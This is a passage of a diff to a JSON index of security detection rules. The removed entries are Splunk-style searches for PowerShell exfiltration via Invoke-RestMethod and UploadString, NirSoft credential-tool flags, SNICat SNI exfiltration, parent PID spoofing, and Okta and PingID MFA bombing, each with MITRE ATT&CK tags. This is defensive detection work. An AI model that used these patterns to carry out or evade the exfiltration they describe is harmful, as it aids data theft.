10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "WMI Permanent Event Subscription detected on $dest$ by $user$", - "risk_score": 30, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1546.003", - "mitre_attack_technique": "Windows Management Instrumentation Event Subscription", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT29", - "APT33", - "Blue Mockingbird", - "FIN8", - "HEXANE", - "Leviathan", - "Metador", - "Mustang Panda", - "Rancor", - "Turla" - ] - }, - { - "mitre_attack_id": "T1546", - "mitre_attack_technique": "Event Triggered Execution", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } } ], "external_reference": [ @@ -482138,57 +334771,7 @@ "Event ID": null, "Event Name": "Third-party application logs" } - ], - { - "name": "Detection of tools built by NirSoft", - "description": "The following analytic identifies the execution of tools built by NirSoft by detecting specific command-line arguments such as \"/stext\" and \"/scomma\". It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names, parent processes, and command-line executions. This activity is significant because NirSoft tools, while legitimate, can be exploited by attackers for malicious purposes such as credential theft or system reconnaissance. If confirmed malicious, this activity could lead to unauthorized access, data exfiltration, or further compromise of the affected system.", - "search": "| tstats `security_content_summariesonly` count min(_time) values(Processes.process) as process max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process=\"* /stext *\" OR Processes.process=\"* /scomma *\" ) by Processes.parent_process Processes.process_name Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` |`security_content_ctime(lastTime)` | `detection_of_tools_built_by_nirsoft_filter`", - "tags": { - "analytic_story": [ - "Emotet Malware DHS Report TA18-201A" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1072", - "mitre_attack_technique": "Software Deployment Tools", - "mitre_attack_tactics": [ - "Execution", - "Lateral Movement" - ], - "mitre_attack_groups": [ - "APT32", - "Sandworm Team", - "Silence", - "Threat Group-1314" - ] - } - ] - } - } + ] ], "external_reference": [ [ @@ -484613,193 +337196,7 @@ "Event ID": null, "Event Name": "User interface" } - ], - { - "name": "Windows Exfiltration Over C2 Via Invoke RestMethod", - "description": "The following analytic detects potential data exfiltration using PowerShell's Invoke-RestMethod. It leverages PowerShell Script Block Logging to identify scripts that attempt to upload files via HTTP POST requests. This activity is significant as it may indicate an attacker is exfiltrating sensitive data, such as desktop screenshots or files, to an external command and control (C2) server. If confirmed malicious, this could lead to data breaches, loss of sensitive information, and further compromise of the affected systems. Immediate investigation is recommended to determine the intent and scope of the activity.", - "search": "`powershell` EventCode=4104 ScriptBlockText = \"*Invoke-RestMethod *\" AND ScriptBlockText = \"* -Uri *\" AND ScriptBlockText = \"* -Method *\" AND ScriptBlockText = \"* Post *\" AND ScriptBlockText = \"* -InFile *\" | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer UserID | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_exfiltration_over_c2_via_invoke_restmethod_filter`", - "tags": { - "analytic_story": [ - "Winter Vivern" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Actions on Objectives" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "Computer", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A PowerShell script on $Computer$ is attempting to transfer files to a remote URL.", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1041", - "mitre_attack_technique": "Exfiltration Over C2 Channel", - "mitre_attack_tactics": [ - "Exfiltration" - ], - "mitre_attack_groups": [ - "APT3", - "APT32", - "APT39", - "Chimera", - "Confucius", - "GALLIUM", - "Gamaredon Group", - "Higaisa", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "Leviathan", - "LuminousMoth", - "MuddyWater", - "Sandworm Team", - "Stealth Falcon", - "Wizard Spider", - "ZIRCONIUM" - ] - } - ] - } - }, - { - "name": "Windows Exfiltration Over C2 Via Powershell UploadString", - "description": "The following analytic identifies potential data exfiltration using the PowerShell `net.webclient` command with the `UploadString` method. It leverages PowerShell Script Block Logging to detect instances where this command is executed. This activity is significant as it may indicate an attempt to upload sensitive data, such as desktop screenshots or files, to an external or internal URI, often associated with malware like Winter-Vivern. If confirmed malicious, this could lead to unauthorized data transfer, compromising sensitive information and potentially leading to further exploitation of the compromised host.", - "search": "`powershell` EventCode=4104 ScriptBlockText = \"*Net.webclient*\" AND ScriptBlockText = \"*.UploadString*\" | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer UserID | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_exfiltration_over_c2_via_powershell_uploadstring_filter`", - "tags": { - "analytic_story": [ - "Winter Vivern" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Actions on Objectives" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "Computer", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A PowerShell script on $Computer$ is attempting to transfer files to a remote URL.", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1041", - "mitre_attack_technique": "Exfiltration Over C2 Channel", - "mitre_attack_tactics": [ - "Exfiltration" - ], - "mitre_attack_groups": [ - "APT3", - "APT32", - "APT39", - "Chimera", - "Confucius", - "GALLIUM", - "Gamaredon Group", - "Higaisa", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "Leviathan", - "LuminousMoth", - "MuddyWater", - "Sandworm Team", - "Stealth Falcon", - "Wizard Spider", - "ZIRCONIUM" - ] - } - ] - } - }, - { - "name": "Detect SNICat SNI Exfiltration", - "description": "The following analytic identifies the use of SNICat tool commands within the TLS SNI field, indicating potential data exfiltration attempts. It leverages Zeek SSL data to detect specific SNICat commands such as LIST, LS, SIZE, LD, CB, EX, ALIVE, EXIT, WHERE, and finito in the server_name field. This activity is significant as SNICat is a known tool for covert data exfiltration using TLS. If confirmed malicious, this could allow attackers to exfiltrate sensitive data undetected, posing a severe threat to data confidentiality and integrity.", - "search": "`zeek_ssl` | rex field=server_name \"(?(LIST|LS|SIZE|LD|CB|CD|EX|ALIVE|EXIT|WHERE|finito)-[A-Za-z0-9]{16}\\.)\" | stats count by src_ip dest_ip server_name snicat | where count>0 | table src_ip dest_ip server_name snicat | `detect_snicat_sni_exfiltration_filter`", - "tags": { - "analytic_story": [ - "Data Exfiltration" - ], - "asset_type": "Network", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Actions on Objectives" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1041", - "mitre_attack_technique": "Exfiltration Over C2 Channel", - "mitre_attack_tactics": [ - "Exfiltration" - ], - "mitre_attack_groups": [ - "APT3", - "APT32", - "APT39", - "Chimera", - "Confucius", - "GALLIUM", - "Gamaredon Group", - "Higaisa", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "Leviathan", - "LuminousMoth", - "MuddyWater", - "Sandworm Team", - "Stealth Falcon", - "Wizard Spider", - "ZIRCONIUM" - ] - } - ] - } - } + ] ], "external_reference": [ [ @@ -485372,161 +337769,6 @@ "references": [ "https://docs.microsoft.com/en-us/windows/win32/procthread/processes-and-threads" ] - }, - { - "name": "Windows Parent PID Spoofing with Explorer", - "description": "The following analytic identifies a suspicious `explorer.exe` process with the `/root` command-line parameter. This detection leverages Endpoint Detection and Response (EDR) telemetry, focusing on process and command-line data. The presence of `/root` in `explorer.exe` is significant as it may indicate parent process spoofing, a technique used by malware to evade detection. If confirmed malicious, this activity could allow an attacker to operate undetected, potentially leading to unauthorized access, privilege escalation, or persistent threats within the environment.", - "search": "| tstats `security_content_summariesonly` min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process=\"*explorer.exe*\" Processes.process=\"*/root,*\" by Processes.dest Processes.user Processes.parent_process_name Processes.parent_process Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_parent_pid_spoofing_with_explorer_filter`", - "tags": { - "analytic_story": [ - "Windows Defense Evasion Tactics" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "An explorer.exe process with process commandline $process$ on dest $dest$", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1134.004", - "mitre_attack_technique": "Parent PID Spoofing", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1134", - "mitre_attack_technique": "Access Token Manipulation", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Blue Mockingbird", - "FIN6" - ] - } - ] - } - }, - { - "name": "Wscript Or Cscript Suspicious Child Process", - "description": "The following analytic identifies suspicious child processes spawned by WScript or CScript. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on specific parent and child process names. This activity is significant as adversaries often use WScript or CScript to execute Living Off The Land Binaries (LOLBINs) or other scripts like PowerShell for defense evasion. If confirmed malicious, this behavior could allow attackers to execute arbitrary code, escalate privileges, or maintain persistence within the environment, posing a significant security risk.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name IN (\"cscript.exe\", \"wscript.exe\") Processes.process_name IN (\"regsvr32.exe\", \"rundll32.exe\",\"winhlp32.exe\",\"certutil.exe\",\"msbuild.exe\",\"cmd.exe\",\"powershell*\",\"wmic.exe\",\"mshta.exe\") by Processes.dest Processes.user Processes.parent_process_name Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `wscript_or_cscript_suspicious_child_process_filter`", - "tags": { - "analytic_story": [ - "Data Destruction", - "FIN7", - "NjRAT", - "Remcos", - "Unusual Processes", - "WhisperGate" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "wscript or cscript parent process spawned $process_name$ in $dest$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1055", - "mitre_attack_technique": "Process Injection", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT32", - "APT37", - "APT41", - "APT5", - "Cobalt Group", - "Kimsuky", - "PLATINUM", - "Silence", - "TA2541", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1543", - "mitre_attack_technique": "Create or Modify System Process", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1134.004", - "mitre_attack_technique": "Parent PID Spoofing", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1134", - "mitre_attack_technique": "Access Token Manipulation", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Blue Mockingbird", - "FIN6" - ] - } - ] - } } ], "external_reference": [ @@ -486635,1736 +338877,7 @@ "commands": [], "queries": [], "parsed_datasets": [], - "possible_detections": [ - { - "name": "Okta Authentication Failed During MFA Challenge", - "description": "The following analytic identifies failed authentication attempts during the Multi-Factor Authentication (MFA) challenge in an Okta tenant. It uses the Authentication datamodel to detect specific failed events where the authentication signature is `user.authentication.auth_via_mfa`. This activity is significant as it may indicate an adversary attempting to authenticate with compromised credentials on an account with MFA enabled. If confirmed malicious, this could suggest an ongoing attempt to bypass MFA protections, potentially leading to unauthorized access and further compromise of the affected account.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime values(Authentication.app) as app values(Authentication.reason) as reason values(Authentication.signature) as signature values(Authentication.method) as method from datamodel=Authentication where Authentication.signature=user.authentication.auth_via_mfa Authentication.action = failure by _time Authentication.src Authentication.user Authentication.dest Authentication.action | `drop_dm_object_name(\"Authentication\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| iplocation src | `okta_authentication_failed_during_mfa_challenge_filter`", - "tags": { - "analytic_story": [ - "Okta Account Takeover" - ], - "asset_type": "Okta Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation", - "Weaponization" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "A user [$user$] has failed to authenticate via MFA from IP Address - [$src$]\"", - "risk_score": 48, - "security_domain": "identity", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1078.004", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "APT5", - "Ke3chang", - "LAPSUS$" - ] - }, - { - "mitre_attack_id": "T1621", - "mitre_attack_technique": "Multi-Factor Authentication Request Generation", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT29", - "LAPSUS$", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "Okta Mismatch Between Source and Response for Verify Push Request", - "description": "The following analytic identifies discrepancies between the source and response events for Okta Verify Push requests, indicating potential suspicious behavior. It leverages Okta System Log events, specifically `system.push.send_factor_verify_push` and `user.authentication.auth_via_mfa` with the factor \"OKTA_VERIFY_PUSH.\" The detection groups events by SessionID, calculates the ratio of successful sign-ins to push requests, and checks for session roaming and new device/IP usage. This activity is significant as it may indicate push spam or unauthorized access attempts. If confirmed malicious, attackers could bypass MFA, leading to unauthorized access to sensitive systems.", - "search": "`okta` eventType IN (system.push.send_factor_verify_push) OR (eventType IN (user.authentication.auth_via_mfa) debugContext.debugData.factor=\"OKTA_VERIFY_PUSH\") | eval groupby=\"authenticationContext.externalSessionId\" | eval group_push_time=_time | bin span=2s group_push_time | fillnull value=NULL | stats min(_time) as _time by authenticationContext.externalSessionId eventType debugContext.debugData.factor outcome.result actor.alternateId client.device client.ipAddress client.userAgent.rawUserAgent debugContext.debugData.behaviors group_push_time groupby | iplocation client.ipAddress | fields - lat, lon, group_push_time | stats min(_time) as _time dc(client.ipAddress) as dc_ip sum(eval(if(eventType=\"system.push.send_factor_verify_push\" AND \"outcome.result\"=\"SUCCESS\",1,0))) as total_pushes sum(eval(if(eventType=\"user.authentication.auth_via_mfa\" AND \"outcome.result\"=\"SUCCESS\",1,0))) as total_successes sum(eval(if(eventType=\"user.authentication.auth_via_mfa\" AND \"outcome.result\"=\"FAILURE\",1,0))) as total_rejected sum(eval(if(eventType=\"system.push.send_factor_verify_push\" AND \"debugContext.debugData.behaviors\" LIKE \"%New Device=POSITIVE%\",1,0))) as suspect_device_from_source sum(eval(if(eventType=\"system.push.send_factor_verify_push\" AND \"debugContext.debugData.behaviors\" LIKE \"%New IP=POSITIVE%\",0,0))) as suspect_ip_from_source values(eval(if(eventType=\"system.push.send_factor_verify_push\",\"client.ipAddress\",\"\"))) as src values(eval(if(eventType=\"user.authentication.auth_via_mfa\",\"client.ipAddress\",\"\"))) as dest values(*) as * by groupby | eval ratio = round(total_successes/total_pushes,2) | search ((ratio < 0.5 AND total_pushes > 1) OR (total_rejected > 0)) AND dc_ip > 1 AND suspect_device_from_source > 0 AND suspect_ip_from_source > 0 | `okta_mismatch_between_source_and_response_for_verify_push_request_filter`", - "tags": { - "analytic_story": [ - "Okta Account Takeover", - "Okta MFA Exhaustion" - ], - "asset_type": "Okta Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "actor.alternateId", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A mismatch between source and response for verifying a push request has occurred for $actor.alternateId$", - "risk_score": 64, - "security_domain": "access", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1621", - "mitre_attack_technique": "Multi-Factor Authentication Request Generation", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT29", - "LAPSUS$", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "Okta Multiple Failed MFA Requests For User", - "description": "The following analytic identifies multiple failed multi-factor authentication (MFA) requests for a single user within an Okta tenant. It triggers when more than 10 MFA attempts fail within 5 minutes, using Okta event logs to detect this pattern. This activity is significant as it may indicate an adversary attempting to bypass MFA by bombarding the user with repeated authentication requests, a technique used by threat actors like Lapsus and APT29. If confirmed malicious, this could lead to unauthorized access, potentially compromising sensitive information and systems.", - "search": " `okta` eventType=user.authentication.auth_via_mfa outcome.result=FAILURE debugContext.debugData.factor!=PASSWORD_AS_FACTOR | bucket _time span=5m | stats count min(_time) as firstTime max(_time) as lastTime values(displayMessage) values(src_ip) as src_ip values(debugContext.debugData.factor) by _time src_user | where count >= 10 | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `okta_multiple_failed_mfa_requests_for_user_filter`", - "tags": { - "analytic_story": [ - "Okta Account Takeover" - ], - "asset_type": "Okta Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "src_user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Multiple failed MFA requests for user $src_user$ from IP Address - $src_ip$", - "risk_score": 42, - "security_domain": "identity", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1621", - "mitre_attack_technique": "Multi-Factor Authentication Request Generation", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT29", - "LAPSUS$", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "Okta Successful Single Factor Authentication", - "description": "The following analytic identifies successful single-factor authentication events against the Okta Dashboard for accounts without Multi-Factor Authentication (MFA) enabled. It detects this activity by analyzing Okta logs for successful authentication events where \"Okta Verify\" is not used. This behavior is significant as it may indicate a misconfiguration, policy violation, or potential account takeover. If confirmed malicious, an attacker could gain unauthorized access to the account, potentially leading to data breaches or further exploitation within the environment.", - "search": "`okta` action=success src_user_type = User eventType = user.authentication.verify OR eventType = user.authentication.auth_via_mfa| stats dc(eventType) values(eventType) as eventType values(target{}.displayName) as targets values(debugContext.debugData.url) min(_time) as firstTime max(_time) as lastTime values(authentication_method) by src_ip user action | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | search targets !=\"Okta Verify\" | `okta_successful_single_factor_authentication_filter`", - "tags": { - "analytic_story": [ - "Okta Account Takeover" - ], - "asset_type": "Okta Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation", - "Weaponization" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A user [$user$] has successfully logged in to Okta Dashboard with single factor authentication from IP Address - [$src_ip$].", - "risk_score": 48, - "security_domain": "identity", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1078.004", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "APT5", - "Ke3chang", - "LAPSUS$" - ] - }, - { - "mitre_attack_id": "T1621", - "mitre_attack_technique": "Multi-Factor Authentication Request Generation", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT29", - "LAPSUS$", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "PingID Mismatch Auth Source and Verification Response", - "description": "The following analytic identifies discrepancies between the IP address of an authentication event and the IP address of the verification response event, focusing on differences in the originating countries. It leverages JSON logs from PingID, comparing the 'auth_Country' and 'verify_Country' fields. This activity is significant as it may indicate suspicious sign-in behavior, such as account compromise or unauthorized access attempts. If confirmed malicious, this could allow attackers to bypass authentication mechanisms, potentially leading to unauthorized access to sensitive systems and data.", - "search": "`pingid` (\"result.status\" IN (\"SUCCESS*\",\"FAIL*\",\"UNSUCCESSFUL*\") NOT \"result.message\" IN (\"*pair*\",\"*create*\",\"*delete*\")) | eval user = upper('actors{}.name'), session_id = 'resources{}.websession', dest = 'resources{}.ipaddress', reason = 'result.message', object = 'resources{}.devicemodel', status = 'result.status' | join user session_id [ search `pingid` (\"result.status\" IN (\"POLICY\") AND \"resources{}.ipaddress\"=*) AND \"result.message\" IN(\"*Action: Authenticate*\",\"*Action: Approve*\",\"*Action: Allowed*\") | rex field=result.message \"IP Address: (?:N\\/A)?(?.+)?\\n\" | rex field=result.message \"Action: (?:N\\/A)?(?.+)?\\n\" | rex field=result.message \"Requested Application Name: (?:N\\/A)?(?.+)?\\n\" | rex field=result.message \"Requested Application ID: (?:N\\/A)?(?.+)?\\n\" | eval user = upper('actors{}.name'), session_id = 'resources{}.websession', src = coalesce('resources{}.ipaddress',policy_ipaddress), app = coalesce(Requested_Application_ID,Requested_Application_Name) | fields app, user, session_id, src, signature ] | iplocation prefix=auth_ dest | iplocation prefix=verify_ src | stats count min(_time) as firstTime max(_time) as lastTime values(app) as app values(session_id) as session_id by user, dest, auth_Country, src, verify_Country, object, signature, status, reason | where auth_Country != verify_Country | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `pingid_mismatch_auth_source_and_verification_response_filter`", - "tags": { - "analytic_story": [ - "Compromised User Account" - ], - "asset_type": "Identity", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src", - "type": "IP Address", - "role": [ - "Victim" - ] - }, - { - "name": "object", - "type": "Other", - "role": [ - "Attacker" - ] - } - ], - "message": "An authentication by [$user$] was detected from [$dest$ - $auth_Country$] and the verification was received from [$src$ - $verify_Country$].", - "risk_score": 25, - "security_domain": "access", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1621", - "mitre_attack_technique": "Multi-Factor Authentication Request Generation", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT29", - "LAPSUS$", - "Scattered Spider" - ] - }, - { - "mitre_attack_id": "T1556.006", - "mitre_attack_technique": "Multi-Factor Authentication", - "mitre_attack_tactics": [ - "Credential Access", - "Defense Evasion", - "Persistence" - ], - "mitre_attack_groups": [ - "Scattered Spider" - ] - }, - { - "mitre_attack_id": "T1098.005", - "mitre_attack_technique": "Device Registration", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT29" - ] - } - ] - } - }, - { - "name": "PingID Multiple Failed MFA Requests For User", - "description": "The following analytic identifies multiple failed multi-factor authentication (MFA) requests for a single user within a PingID environment. It triggers when 10 or more MFA prompts fail within 10 minutes, using JSON logs from PingID. This activity is significant as it may indicate an adversary attempting to bypass MFA by bombarding the user with repeated authentication requests. If confirmed malicious, this could lead to unauthorized access, as the user might eventually accept the fraudulent request, compromising the security of the account and potentially the entire network.", - "search": "`pingid` \"result.status\" IN (\"FAILURE,authFail\",\"UNSUCCESSFUL_ATTEMPT\") | eval time = _time, src = coalesce('resources{}.ipaddress','resources{}.devicemodel'), user = upper('actors{}.name'), object = 'resources{}.devicemodel', reason = 'result.message'| bucket span=10m _time | stats dc(_raw) AS mfa_prompts min(time) as firstTime, max(time) as lastTime values(src) as src by user, reason, _time | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | where mfa_prompts >= 10 | `pingid_multiple_failed_mfa_requests_for_user_filter`", - "tags": { - "analytic_story": [ - "Compromised User Account" - ], - "asset_type": "Identity", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Multiple Failed MFA requests $mfa_prompts$ for user $user$ between $firstTime$ and $lastTime$.", - "risk_score": 50, - "security_domain": "access", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1621", - "mitre_attack_technique": "Multi-Factor Authentication Request Generation", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT29", - "LAPSUS$", - "Scattered Spider" - ] - }, - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - } - ] - } - }, - { - "name": "PingID New MFA Method After Credential Reset", - "description": "The following analytic identifies the provisioning of a new MFA device shortly after a password reset. It detects this activity by correlating Windows Event Log events for 